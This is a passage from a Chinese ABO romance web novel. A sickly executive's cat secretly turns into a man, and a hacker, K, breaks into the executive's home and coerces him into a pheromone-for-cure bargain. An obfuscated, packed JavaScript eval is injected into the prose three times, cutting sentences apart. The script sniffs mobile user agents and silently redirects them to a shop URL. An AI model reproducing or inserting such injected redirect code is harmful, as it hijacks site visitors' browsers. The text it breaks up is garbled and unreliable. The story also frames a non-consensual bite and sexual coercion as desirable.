书架上的煤球若无其事地收回了那只刚刚不小心踩滑的爪子,歪着头,“喵呜?”了一声。 【杂碎。】 “李医生。”蒋晗扶着沙发扶手缓缓直起身子,不动声色的跨了一步,挡在了医生和煤球之间,开口道:“我的身体状况,您还有什么疑问吗?” 小猫意味深长的盯着冰冷美人那苍白的侧脸,若有所思。 李铭推了下眼镜,压下心中惊涛骇浪,恢复了职业假笑,也收回了视线,只是那笑容有些僵硬:“没有了,蒋总。” “这猫我养了有一阵了,”蒋晗虚弱却冷淡开口:“应该不需要向您报备吧?” “那是自然,看来您的身体已经找到了某种自我调节的机制,这是天大的好事。” 李铭机械笑笑,顿了顿,又意有所指的看了猫一眼,“不过,安全起见,我还是建议您尽快做一次深度彻底的全面检查。” “毕竟这种,奇迹,”他特意加重了奇迹两个字,“很难说能持续多久。” “我会考虑。”蒋晗点了下头,声音更轻:“我有点累,管家会送您出去。” “好的,那您好好休息。”李铭深吸一口气,拎起箱子,“我会向蒋老先生详细汇报您这次令人惊喜的恢复情况,免得他担心。” 说完,一步三回头的走了,目光却流连在蒋晗和书架上的猫之间,满脸都是“这不科学我一定要研究明白”的神色。 “砰”地一声,厚重的门被关上。 直到医生走出别墅大门,蒋晗才像是被抽走了脊梁骨一样,瘫软在沙发上,抬起手用力按了按眉心,长长地出了一口气。 累。 每次经历社交,哪怕只是这种形式化的医患交流,都像打了一场仗,每一秒都需要伪装,每一刻都需要控制表情,需要斟酌言辞,属实心力交瘁。 还在心有余悸着,一只毛茸茸的小脑袋凑了过来,蒋晗抬起头,对上那双冰蓝色的眼睛。 【他刚刚,在撒谎维护我?】 “煤球……”虚弱的男人沙哑开口,声音里带着疲惫,伸出手将小猫紧紧搂进怀里,把脸深深埋进小猫柔软温暖的绒毛中,贪婪地嗅着那让他心安的木质冷香。 小猫用湿漉漉的粉嫩鼻尖蹭了蹭清冷美人的脸颊,喉咙里发出细微的咕噜声。 蒋晗紧绷的神经一放松,被强行压抑的信息素就开始出现反弹,虽然不像那晚那么剧烈,但也足以让他感到一阵头晕目眩,手脚发软。 一股淡淡的酒味开始在空气中弥漫,虽然微弱到像是被稀释了无数倍的烈酒,但对于急需补充能量的Enigma来说,简直就是最致命的诱惑。 那股甜美的味道直往鼻子里钻,勾得它呼吸都发烫! 蒋晗抱着小猫回到卧室,疲惫的躺到了柔软大床上,闭上了眼睛。 小猫先是用毛茸茸的脑袋蹭了蹭蒋晗的手,见对方没反应,干脆得寸进尺,直接爬到他胸口。 “……煤球?”蒋晗迷迷糊糊地睁开眼,就看到一只放大的猫头凑在自己面前,湿漉漉的鼻子抵着他的下巴,温热的呼吸喷洒在他的颈侧。 “别闹,痒。” 蒋晗无奈宠溺的说着,躲了一下,但手上却诚实的抱住了这团主动送上门的小东西。 然而小猫完全没有别闹的自觉,整个身子都趴在蒋晗的胸口,两只前爪不停的在他的衣服上踩奶,一边踩还一边发出巨大的“呼噜呼噜”声。 “你怎么这么粘人?”蒋晗被它踩得有点疼,又有点舒服。 “是不是刚才那医生吓到你了?” 蒋晗自作多情地脑补了一出“忠猫护主被吓坏”的戏码,心软得一塌糊涂,他把脸埋进猫毛里,声音闷闷的,带着一丝软糯,“别怕,只要我在,没人能把你带走。” 夜幕降临,别墅里的灯光透着暗淡的暖黄色。 蒋晗今天实在太累了,应对系统危机,应对医生,还有不知何时能联系到的K,每一件事都在透支他的精力。 一人一猫就这样躺在柔软的大床上,小猫毛茸茸的大尾巴无意识的勾住了蒋晗的手腕将他死死缠住,像是一种无声的占有。 煤球虽然亲近他,但这么主动这么粘人还是第一次。 蒋晗也没多想,或许猫也有情绪,也需要安慰? 他浅浅笑了下,手指抚过小猫柔软的脊背。 “好,抱着你。” 没有推开这突如其来的亲密,反而调整了一下姿势,让小猫能更舒服地窝在自己怀里。 直到感觉到男人的呼吸渐渐安静绵长且沉稳的睡去,怀里的小猫才缓缓睁开了眼睛。 体内积蓄的能量已经到了临界点,蒋晗今天无意识释放的信息素虽然微弱,但纯度极高,就像是一把钥匙,轻而易举的打开了开关。 耀眼的白光闪过,怀里的小猫消失了,高大滚烫的身躯在羊毛毯下,将蒋晗整个人完全笼罩。 由于长期待在拥有顶级信息素的Alpha身边,这次化形比之前那次稳定得多,他甚至可以任意切换。 银白长发的男人顶着一对儿银白色的兽耳,身后那条蓬松的尾巴也随着他的身形而变大,变得更加毛茸茸,随即贪婪的缠绕上眼前熟睡着的人的细腰,甚至还得寸进尺地探入了那一截微敞的衣摆,贴上了温热的皮肤。 男人侧躺在蒋晗身边,单手撑着头,借着月光,目光迷离的描绘着怀中人的睡颜。 “骂我的时候不是很凶吗?现在怎么这么乖?” 他伸出手,指尖轻轻划过对方的眉眼,最后停在那片有些苍白的但却柔软的唇上。 怀里的人似乎感觉到了热源,无意识的往他怀里钻了钻,脸颊蹭过男人胸膛,发出了一声满足的梦呓。 那条不安分的毛茸茸大尾巴将怀里的人又卷了卷,紧接着长发的男人也躺下来,收紧手臂将人往自己怀里又按了按,温柔抱住了他。 属于Enigma的强大信息素,如潮汐般铺天盖地席卷而来,沉溺在这寂静的夜。 -< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265360|198095||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 日子一天一天过去,蒋晗觉得自己就像一只被放在温水里慢慢煮的青蛙,天穹科技那边再没有任何消息,仿佛那个黑掉他系统又随手解开的“K”,只是他过度疲惫产生的幻觉。 但笔记本电脑屏幕上那个嚣张的黑金色签名,和后台数据里悄然植入的追踪程序,都在无声的宣告着对方的存在。 董事会那边,蒋振业果然没有善罢甘休。 “蒋总,您叔父今天又在会上提了数据库的事。”李森的声音隔着电话线传来,透着小心翼翼,“他说……说您要是解决不了,不如让位给有能力的人。” 隔着落地窗,蒋晗偏头看了眼脚下川流的车河,苍白的脸上没什么表情。 “当着我的面他怎么不敢说。” “这……”李森显然有些纠结,也不好开口去安慰或劝阻。 “追踪程序有动静吗?”蒋晗不打算为难助理。 “有!”李森的声音振奋了些,“就在一小时前,有三次试探性访问,来源伪装得很高明,但确实是从……从您叔父名下的那处私人别墅IP段发起的。” 果然。 蒋晗闭了闭眼。 他这位好叔父,大概是看他没死成,系统又被神秘人修复,急了,趁追踪程序还没完全生效前,抹掉证据。 信息素又开始不稳定了,距离上次发病已经过去近一周了,按照以往的经验,这具身体早该再次崩溃,但除了偶尔的眩晕和乏力,他竟然还能站在这里处理这些糟心事。 这不合常理。 “继续盯着。”蒋晗说,“另外,继续给天穹科技发函。” “还要继续联系K?” “嗯。” 回到半山别墅时已是晚上九点,连续加了两天班处理集团内部的烂摊子,虽然核心数据被那个K解开了,但叔父留下的烂账还需要他亲手去平。 蒋晗不愿再多想,也不想再说话,现在支持他走进电梯的唯一动力大概就是,回家,吸猫。 只要把脸埋进煤球那软乎乎的肚皮里,听着那呼噜呼噜的软糯小声音,对他来说这个世界上所有的傻逼股东和商业对手都会变成浮云。 电梯门“叮”的一声打开,疲倦纤弱的男人迈出来,走到家门口,手指习惯性地搭上指纹锁。 门开了,客厅里一片漆黑。 蒋晗刚走了两步,整个人愣在原地。 不对劲。 太安静了。 平日里只要听到门锁响动,管家肯定会第一时间迎上来询问晚餐安排,或者汇报一些无关紧要的日常事务,毕竟这些汇报都要一字不落地传到蒋振业耳朵里。 而那只粘人的煤球更是会喵喵叫着冲过来蹭他的脚踝。 但此刻,玄关空无一人,智能家居系统的指示灯也尽数熄灭,就连玄关的感应灯都没有亮。 蒋晗的手下意识地摸向口袋里的手机,准备一键报/警。 “别白费力气了,蒋总。” 一道低沉富有磁性却带着几分轻蔑笑意的男声,突兀的从黑暗的客厅深处传来。 蒋晗呼吸一滞,还没等他反应,“啪!”得一声,客厅主灯骤然亮起。 5. 第 5 章 突如其来的强光让蒋晗下意识的眯起了眼睛。 待视线聚焦,终于看清了坐在他客厅里那张真皮沙发上,一个过分好看,也过分嚣张的男人。 男人穿着一身极为骚气的宝蓝色西装,衬衫领口随意敞开三颗扣子,露出一截线条优越的锁骨,一头银白色的长发随意披在腰背,几缕碎发肆意垂在额前,遮不住那双极具侵略性的冰蓝色瞳孔。 此时男人正翘着二郎腿,姿态闲适得像在自己家,手里还拿着一份文件,漫不经心地翻看着。 蒋晗的瞳孔骤然收缩,那是他加了数道系统锁深藏在保险柜中的私人病历单与病危通知书! “S级Alpha,腺体严重受损,信息素衰竭综合征晚期……” 男人修长的手指在纸页上弹了弹,发出清脆的响声。 他抬起头,那双似笑非笑的眼睛锁定了站在玄关处清瘦冷艳的总裁。 “原来外界传闻不近人情的蒋氏集团总裁,其实是个快死的病秧子?” 男人的嘴角勾起一抹恶劣的弧度,“啧啧,真可怜。” 血液仿佛瞬间冲上头顶,蒋晗站在原地,指尖冰凉,胸口烧起一团灼热的郁火。 那套病历是他最大的秘密,叔父只知他腺体受损,却不知道更深的信息,一旦曝光,后果不堪设想。 "K"。蒋晗反手关上门,声音因为极致的愤怒和强行压抑的恐惧而微微发颤。 能黑进他安保系统如入无人之境,能精准破解他最私密的病历,还能用这种嚣张到令人发指的不可一世姿态坐在他客厅里。 除了那个抢他项目,又假模假式帮他解围的天穹科技的K,不会有第二个人。 沙发上的男人嘴角缓缓勾起一个浅浅的弧度,声音带着一点慵懒的沙哑,咬字却清晰有力,“蒋总,久仰。” 蒋晗的指尖掐进掌心,尖锐的疼痛让他勉强维持住理智,他深吸一口气,冷冽说道:“你想干什么。” K像是听到了什么有趣的笑话,低低笑了一声,他放下病历单,站起身。 男人的身高似乎比蒋晗想象中还要高,他站起来时那种属于顶级掠食者的压迫感瞬间填满了整个空间。 “前两天还让人满世界找我,要花重金买我的诚意。”男人一步步走向蒋晗,冰蓝色的眼睛紧紧盯着他,皮鞋踩在地板上发出沉闷的声响。 “怎么,现在来问我想干什么?” 蒋晗下意识后退,直到身子抵住了玄关柜,退无可退。 K在他面前停下,微微俯身,那张过分俊美又危险的脸近在咫尺,冰蓝色的瞳孔里清晰地倒映出眼前病弱的美人那张苍白紧绷的面容。 蒋晗强迫自己迎上他的目光,努力维持着冰冷和平静,尽管他能感觉到自己的信息素正在对方无形的威压下快速波动。 腺体位置传来一阵阵刺痛,以及一丝丝不可言说的,可耻的酥麻感。 男人的目光从蒋晗苍白的脸上移开,扫过他因为紧张而微微起伏的胸膛,最后又回到侧颈,那个被衣领半遮半掩的位置。 “我只是有点好奇。”K的声音压得更低,带着某种危险的蛊惑,“一个信息素衰竭到这种程度,按理说早就该躺在ICU等死的Alpha,是怎么还能站在这里,用这种眼神看我的?” 话音未落,男人突然伸手,蒋晗根本来不及反应! 冰冷的手指触碰到后颈皮肤的瞬间,蒋晗剧烈一颤,下意识就想抬手推他。 但K的另一只手已经扣住了他的手腕,力道大得惊人,轻而易举的将他往前自己身前一带。 “放手!”蒋晗挣扎,声音里终于染上了一丝慌乱的颤抖。 K置若罔闻,指尖按在那个已经淡得几乎看不见的牙印上,冰蓝色的眼睛里闪过一丝晦暗不明的光,而后低下头,凑近面前这位病美人的颈侧,二话不说就这样咬了上去! 蒋晗闷哼一声,浑身的汗毛都竖了起来! 他拼命想要挣扎,然而只是徒劳。 “你疯了!你干什么! 放开我!” 强行的安抚和镇压,蒋晗体内那些濒临崩溃的信息素在这股强大力量面前,竟然像被一只无形的手霸道的压制,紧接着奇迹般的开始平复。 与此同时,一种源于生理本能的舒适感顺着蒋晗的脊椎蔓延开来。 他的腺体在发烫,渴望着更多这种近乎掠夺的接触。 身体在尖叫着渴望,理智却在拼命拉响警/报。 “蒋晗。”K缓缓抬起头,第一次叫了他的全名,声音里带着某种不容置疑的宣告,“来做个交易吧。” “你的病,我可以治。” 蒋晗咬着牙,眼尾因为屈辱而泛起一抹薄红,身体因为刚才信息素被强行安抚的余韵而有些发软,但大脑却在飞速运转。 他强迫自己抬起头,对上那双近在咫尺的冰蓝色眼睛,咬牙发狠的微微颤抖说道: “开个价。” 男人扣着他后颈的力道松了些,但另一只手却顺势揽住了他的腰,将他半强制的按在了旁边的实木鞋柜边缘。 “我要你。”K的笑容似乎更甚,眼眸里溢满了深不见底的占有欲。 “准确的说,我要你的信息素。” “你的腺体已经濒临崩溃,除了我,这个世界上没人能把你从鬼门关拉回来。” 银白色长发的男人俯下身,嘴唇几乎贴上蒋晗的耳垂,声音充满了蛊惑: “只要你点头,我可以帮你修复腺体,甚至帮你解决掉你那个烦人的叔父。” “作为交换,我要拥有这栋别墅自由出入的权利,不用预约,不用通报,我想来就来,随时汲取你的信息素。” 蒋晗恨得咬牙切实,这等于是在家里养了个随时会爆发的定时炸弹! “我凭什么信你?”蒋晗冷冷说道。 “你没得选。”K说:“要么现在拒绝我,几个月后躺在棺材里看你的集团被瓜分。" "要么,忍受我一下,换一条生路。”说着,K的手指不轻不重摩挲着那道被自己留下的齿印。 “而且,刚才被我碰的时候,也没见你有多抗拒啊。” “你——!”蒋晗耳垂都红了,“无耻!”说着,猛地用力挣开眼前男人的钳制,踉跄了一步,扶住柜沿才勉强站稳。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265361|198095||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> K被他这副明明虚弱得一阵风就能吹倒,却偏要竖起全身尖刺的模样逗笑了,随即后退一步,摊了摊手,做了个“随你”的手势。 蒋晗即便忍辱负重,但他不得不承认,K说得对。 虽然不知道为什么,但他确实安抚了自己紊乱的信息素,说不定也真的可以帮自己搞定集团危机。 但还是信不过他,需要考察…… 见这位虚弱的总裁没有说话,K就当他是默许了,也有自知之明的顺着台阶下来,看了眼时间,开口道: “明天晚上八点,我会过来。” 蒋晗顺手拍了下玄关墙上的开关,入户门打开。 K轻笑一声,走到门口时突然停下了脚步,回过头,视线在蒋晗那紧致的腰线上停留了两秒,又不经意的瞥过客厅一角的猫爬架,轻飘飘的开口: “你好像养了只猫?” 蒋晗的心猛地一跳! “我这个人脾气不好,还有洁癖,我过来的时候,蒋总最好把它关起来。”K的语气理所当然,甚至带着点嫌弃。 “我闻到畜生的味道会吐,保不齐我哪天心情好,把它丢出去喂狗。” 蒋晗看着他,忽然觉得有点荒谬,他扯了扯嘴角,露出一个没什么温度的冷笑,阴阴开口威胁道: “你敢动我的猫,我杀了你。” 先是抢他的项目,现在又闯进他家,提出这种霸王条款,甚至还嫌弃他的猫? “蒋总这张嘴还真是挺硬的,希望以后在床上被我安抚的时候,也能这么硬气。” “砰!” 随着大门合上,别墅里重新恢复了安静。 蒋晗靠在门板上,胸口剧烈起伏。 屈辱、愤怒,还有那一丝被信息素撩拨后残留的苏爽感交织在一起,让他整个人都在微微发抖。 那是一种刻在基因里弱者对强者本能的臣服。 被K咬住腺体的瞬间,他的身体在发烫,呼吸变得急促,原本因为愤怒而绷紧的肌肉,在这股气息的安抚下竟然可耻的化成了一滩水。 拒绝他,就是一个死。 几个月,或者半年,一年之后后,信息素彻底衰竭,他会像一滩烂泥一样死在医院里,叔父会接管集团,父母一辈子的心血会被瓜分殆尽,那些曾经假模假式仰视他的人会踩着他的尸骨狂欢。 真的甘心吗? 蒋晗只觉眼前发黑,然而只能在心里暗暗骂他。 这个混蛋!自大狂!变态! 可这是唯一的路,为了活下去,为了父母留下的家业,为了扳倒叔父那个老狐狸,正如K所说,他没有选择。 "K……" 蒋晗抬手用力揉了揉脸,试图驱散那股萦绕不散的气息和心底翻涌的屈辱,然后,像是忽然想起了什么似的,猛地站起身。 “煤球?”他喊了一声,声音在空旷的客厅里回荡。 没有回应。 蒋晗的心沉了沉,抬脚朝着卧室走去。 然而卧室,书房,客房,甚至平时不怎么用的影音室和健身房。 哪里都没有那团银白色的小身影…… 6. 第 6 章 K带来的压迫感实在太过强烈,蒋晗直到现在才反应过来,他的猫已经好一会没有动静了。 是被K吓到了? 难道K对它做了什么? 蒋晗的心跟着沉了沉,正纠结着,就听到一阵阵细微的吱吱声从二楼他卧室方向传来,像有什么尖锐的利器划过门板。 顾不上整理微乱的衣服,蒋晗三步并作两步跑上楼,发现主卧门板上的电子锁被锁定了。 蒋晗微微蹙着眉头,额头上都浸出了一层薄汗,抬手录入管理员指纹,电子锁解开了。 几乎是在他开门的瞬间,银白色小猫直接飞扑到了他的怀里,喵喵喵地叫个不停,听起来特别委屈。 “煤球,对不起,对不起……”蒋晗把脸埋进猫毛里,声音都在发颤,“果然是那个混蛋,他把你锁在了卧室里。” “没事了,小煤球,他走了,你别害怕。” 小猫用脑袋轻轻蹭了蹭男人冰凉的手背。 大概是抱着小猫感受到太多安慰,一直揪着的心总算是稍稍放下了一点,蒋晗滔滔不绝告状一样开始诉苦。 “煤球,你不知道,刚才来了个超级无敌大变态!” “他抢我的项目,闯我的家,他还……还威胁我!他简直不是人!” 一想到刚才K对他做的事,和自己身体那耻辱的反应,蒋晗眼眶都有点泛红,一边给猫顺毛,一边咬牙切齿的说,“他还嫌弃你,让我把你关起来!” “他算什么东西!也配嫌弃我的煤球?” “我的煤球是全天下最干净最可爱的小猫咪!” 怀里的小猫身体几不可查地僵了一瞬,随即,冰蓝色的眼睛里闪过一丝极其复杂的情绪。 【骂得好。】 【但不知为何,总感觉膝盖中了一箭。】 蒋晗抱着猫走到浴室的大镜子前,镜子里清瘦病弱的人衣衫不整,眼尾泛红,那副被狠狠欺负过的模样让他自己都觉得羞耻。 而他怀里的猫,正瞪着一双无辜的大眼睛透过镜子看着他。 “以后只要他来,你就躲到宠物房去,千万别出来!” 蒋晗认真的叮嘱道,“那个变态虽然,咳,虽然技术好……但他心里变态啊!” “我们要利用他,榨干他的价值,然后把他踢得远远的!知道吗?” 【……】 “瞄……” 小猫配合的叫了一声,还在蒋晗的颈窝里蹭了蹭,恰好蹭过了刚才被咬过的地方。 “好了好了,别闹了,还是你好,煤球……”蒋晗心里那口憋闷的郁气总算顺开了,回到柔软的大床上抱着小猫踏实的睡了。 - 翌日清晨,A市难得放了个晴,阳光透过半山别墅的落地窗洒进来,在地毯上投下一片温暖的光斑。 蒋晗坐在餐桌前,手里捏着勺子,有一下没一下的搅动着碗里的燕麦粥。 他的心多少还有些余悸。 K的气息,K的触碰,K那些羞辱又蛊惑的话语,还有与他被迫达成的屈辱协议…… 即便是抱着小猫睡,但还是做了一晚上的噩梦。 梦里全是那双极具侵略的冰蓝色眼睛,还有那句在他耳边回荡的:“我要你……” 靠!想想就气不打一出来!! 这一整天,蒋晗都在家里办公,一方面是公司系统问题已经解决,另一方面也是因为K说今晚会过来,他得在家盯着,不能让他再那样明目张胆嚣张的在自己家活动。 晚饭过后,七点左右,蒋晗坐在沙发里,轻轻揉了揉太阳穴,信息素还算平稳,这是昨晚被K强行安抚后唯一的好处。 但转念又一想到K对自己进行信息素安抚的方式,蒋晗就觉得羞耻难耐,一团郁火又蹭蹭得开始往头顶窜。 他闭着眼睛又挤了挤眉心,随即感觉有什么蹭过了他的裤脚。 “煤球。”清瘦的男人睁眼轻轻唤了一声,“爸爸一会又要去会那个变态了,你就乖乖待在宠物房里,听见了吗?等他走了,我马上放你出来,好不好?” 像是在说服猫,更像是在说服自己。 蒋晗抱着小猫蹭了蹭它的小脑袋。 煤球没再叫,只是用脑袋去顶了顶他的下巴,算是回应了他。 “叮咚。” 门铃声突兀响起,一人一猫皆是一愣。 蒋晗身体瞬间绷紧,心脏猛地一跳。 这就来了?不是说晚上八点吗?这还差一个小时呢! “煤球,你快去宠物房!快去!”说着,蒋晗放下小猫撵着它朝里面去,自己站起身朝玄关走去。 【???】 【不er,我还在这呢!】 【谁啊你就开门!】 出现在玄关可视门禁屏幕里的并非那张欠扁又俊美的脸。 蒋振业的心腹助理带着一脸假笑,冲蒋晗礼貌问好:“晚上好,蒋总。” 蒋晗的脸色沉了下去。 他一点也不想开门,但现在装没在家显然已经晚了,他刚刚怎么就那么猴急的去开门…… 深吸一口气,按下通话键,蒋晗让自己的声音又刻意维持上惯有的疏离冰冷:“什么事?” 屏幕里的助理笑容可掬,“蒋副董非常关心您的身体,特意托人从国外带回了一款国际最新的安抚仪,据说对稳定信息素有奇效,他嘱咐我一定要亲自送到您手上并安装好。” 说着,助理示意身后两个穿着制服的人抬上来一个金属箱,箱体上印着某个高端医疗品牌的logo,看起来科技感十足。 蒋晗在心底冷笑,关心?是关心自己死得不够快吧。 这东西表面上看确实是安抚仪,天知道里面动了什么手脚,毕竟叔父的手段他已经领教过不止一次两次了。 “放门口吧。”蒋晗的声音没有起伏,“我会让管家处理。” “蒋副董特别嘱咐,要确保您亲自验收,并且由工作人员为您安装完成,我们才算完成任务。”助理的笑容不变,话里的逼迫意味却很明显。 “这也是董事会各位股东的意思,大家都非常关心您的健康状况。” 蒋晗的指尖微微发凉,如果他今晚不开门,明天董事会上,“蒋总身体状况堪忧,拒绝治疗”的流言就会满天飞起。 身后传来一声软糯的猫叫声,蒋晗回过头,发现煤球不知道什么时候也从二楼下来了,正迈着懒洋洋的猫步朝他走来,随即在他身后不远处坐下了,一边舔爪,一边斜着可视门禁,一副我倒要看看哪个不怕死的敢来跟我抢人的架势。 蒋晗打开门,叔父的助理带着安装人员进来后,三下五除二就将仪器安装好了,随即轻飘飘看了一眼面无血色的废物总裁,眼中没有丝毫波澜。 “需要我帮您试用吗?” “不用。”蒋晗的声音像是从冰缝里挤出来的,“出去。” “好的。”助理躬了躬身,“那您记得每天都要用,对身体好。” 说完,朝他躬了躬身,无声的退了出去。 房间再次恢复了死寂。 蒋晗缓缓站直了些身子,一步步挪到那个仪器前。 这就是蒋振业的“关心”,一个包裹着糖衣的炸弹。 他不用想也知道,这东西一旦启动,只会让他的信息素衰竭症更严重,死得更快,偏偏他还不能拒绝。 集团里本就举步维艰,如果再公然驳了蒋振业的面子,只会给他更多发难的借口。 不用的话,蒋振业一定会派人再来“关心”他的使用体验,搞不好这设备被监控了也说不定,长期监测不到反馈,那边一定第一时间收到消息。 手指抚过冰凉的金属外壳,清冷淡漠的男人眼中满是彻骨的寒意和无助。 正一筹莫展着,一团毛茸茸软绵绵的触感自小腿传来。 煤球不知何时来到了他身边,圆滚滚的身子蹭了蹭他的脚踝,随后仰着头,冰蓝色的眼睛静静的看着他,而后又偏过头好奇的打量起这个新来的金属大家伙。 小猫走上前,低下头,粉色的鼻子凑近了机器的缝隙,轻轻嗅了嗅。 紧接着,当着蒋晗的面,尾巴高高翘起,对着那个昂贵的仪器,撅着小屁股…… 滋—— 尿了。 蒋晗:“…………” 【垃圾。】 【也敢来和我抢?】 【这房子里,能安抚他信息素的只能有我一个!】 蒋晗活了二十三年,没见过这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265362|198095||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么嚣张的猫! 看着这台精密的仪器呲呲啦啦响过几道电流声,幽蓝色的指示灯疯狂闪烁了几下,紧接着仪器内部传来一股焦糊味,随即像泄了气的皮球一样,彻底蔫了。 客厅陷入死寂,紧接着,蒋晗终是笑出了声。 他一把抱起小猫,在它脑袋上蹭啊蹭蹭啊蹭,笑道:“煤球你……你挺会找地方啊!” “喵唔……?” 仪器短路,当场报废,这可比任何借口都完美,他甚至可以反过来将蒋振业一军,这送的是什么破玩意?一泡尿就能给呲坏了的三无产品? 病弱的美人抱着他的猫贴贴抱抱举高高,方才的阴霾和恐惧都被这个看似意外的意外一扫而空了。 【……愚蠢的人类。】 【不过,他笑起来的样子……还挺好看的。】 煤球勉为其难的用尾巴尖勾了勾男人的手腕,喉咙里发出满足的呼噜声,任他一通乱rua。 这一个小插曲并没有耽搁太多时间,眼看着时针几近八点,蒋晗终于是依依不舍的把小猫送进了二楼尽头的豪华宠物房内。 这个房间原本是作为影音室设计的,做了顶级的隔音处理,连门都是厚重的实木包/皮,别说猫叫,就是里面在开演唱会外面都听不见。 “煤球,委屈你一下。” 蒋晗把猫放进那个铺满了鹅绒垫子的猫窝里,又在旁边开了两个最贵的罐头,语气里满是愧疚,“那个变态K有洁癖,还厌猫,要是让他看见你,指不定要发什么疯。” 他摸了摸小猫的头,目光温柔,“你乖乖待在这儿,不用担心我,等那个混蛋走了,我马上来放你出去,今晚给你加餐,吃澳洲和牛!” 小猫趴在垫子上,看着他这副送儿子去避难的架势,心里很是微妙。 蒋晗一步三回头的出去了,还特意反锁了门。 听着脚步声远去,房间里的小猫立刻从垫子上翻身而起,抬头看了看那个紧闭的房门,又看了看旁边那个为了通风而留的小天窗。 很好。 虽然有点挤,但对于流体猫来说,问题不大。 - K像是掐着点儿似的,晚上八点整,没有任何门铃声,也没有任何预兆,蒋晗就听玄关处传来一声极其轻微的电子锁被破解的声音,原本锁死的大门自动弹开,整栋别墅亮着的灯同时呲呲啦啦闪了几下。 一道修长挺拔的身影就这样从玄关的暗影中走了出来。 虽然早就领教过K的技术,但这种被人视若无睹的闯进私人领地的感觉,依然让蒋晗感到极度的不适和屈辱。 K依旧是一身剪裁完美的西装,只是换成了低调的深灰色,银白色的长发在客厅暖光下流淌着冰冷的光泽。 他斜倚在门框上,冰蓝色的眼睛扫过客厅,然后落在蒋晗身上,嘴角勾起那抹熟悉的带着玩味的弧度。 “你蛮准时的在等我了,蒋总。”K说着朝他走过来。 “以后我来,不会敲门。” “顺便提醒你,如果有人敲门,别急着开。” 蒋晗心思微动,若有所思的看着他,就见男人抬手掩了下鼻子,微微蹙起眉头,“不过低等生物的味道还是挥之不去,很恶心。” 蒋晗实在不想跟他掰扯这个,从口袋里掏出一张黑金色的银行卡,拍在面前的茶几上,声音冰冷: “这里面有两千万,算是预付,治好我,解决公司那些麻烦,尾款另算。” 他能想到的也就是用这种金钱交易的方式,在两人之间划出一道泾渭分明的界限。 也似乎只有这样,才能让K所作的一切,和他身体欲盖弥彰的反应,都有个合理的说法。 K的目光落在那张卡上,挑了挑眉,随后收回目光,自此再没有看那张卡一眼,径直朝着病弱的美人走去。 男人步伐从容,却带着无形的压力,那种极具压迫感的Enigma信息素瞬间笼罩下来,带着一股淡淡的木质冷香,蛮横的挤走了空气中原本属于蒋晗生活环境里唯一的一点点熟悉气息。 K一把扣住了他的手腕将人拽起来拉到身前,见对方本能的想要后退去躲,长发俊美的男人直接抄起他的膝窝将人打横抱起,二话不说朝着书房走去。 7. 第 7 章 “你干什么?放手!” K抱着病弱的美人进了书房,一把将人按在那张宽大的真皮办公椅上,随后站在他身后,抬手极其自然却又不容人抗拒的搭上了对方的肩膀。 “打开电脑。” 低沉的声音在耳边响起,带着不容置疑的命令。 蒋晗被那股浓烈的信息素熏得有些腿软,他咬着牙,强撑着最后一点理智:“你是来治病的,还是来黑我电脑的?” “都在做。”K俯下身,滚烫的呼吸喷在蒋晗侧颈腺体最敏感的位置。 蒋晗闷哼一声,咬住了下唇。 那种可耻的生理性/感觉又来了,K的强大力量正在强行安抚着他紊乱的信息素。 腺体开始发烫,呼吸不受控制的变得急促,身体想逃离,却仿佛被牢牢钉在了椅子上。 蒋晗感觉到K的唇贴在自己侧颈上,嘴唇不经意的触碰到肌肤,像是隐忍压抑着又堪堪移开。 “防火墙的正确写法,看清楚了?我都不想说你们技术部那群废物。”K的声音很平稳,多少还带着些玩味,仿佛只是在做最寻常的技术指导。 他的手指在蒋晗的颈侧不经意的摩挲过,另一只手越过对方的肩膀,在键盘上敲了几下。 蒋晗感觉到对方的胸膛几乎贴在自己的后背,对方的体温也隔着衣料传来,那股冷冽的木质冷香将他整个包围笼罩,房间里萦绕着一种令人心悸又羞耻的契合感。 侧颈肌肤的触碰,背后贴近的体温,耳畔低沉的嗓音,还有那无孔不入正在强行梳理他信息素的强大气息。 蒋晗的注意力根本无法集中在屏幕上! “听懂了?”K的声音再次传来。 “嗯……”蒋晗胡乱的应了一声,脸颊发烫。 “那这里呢?”男人缓缓移动鼠标,随着他的动作,另一只搭在对方侧颈的手也稍稍用力,指腹摩挲着蒋晗腺体周围的皮肤。 一阵更强烈的酥麻感窜过脊椎,蒋晗控制不住的轻颤了一下,喉间溢出一丝几不可闻的呜咽,整个人不由自主的向后仰头靠去,却结结实实撞进了K的怀里。 “看来这里更需要重点关照啊。”长发俊美的男人轻笑一声,直接将座椅里的人拽起来,翻了个身将他抱坐在了书桌上,后者根本毫无反抗之力。 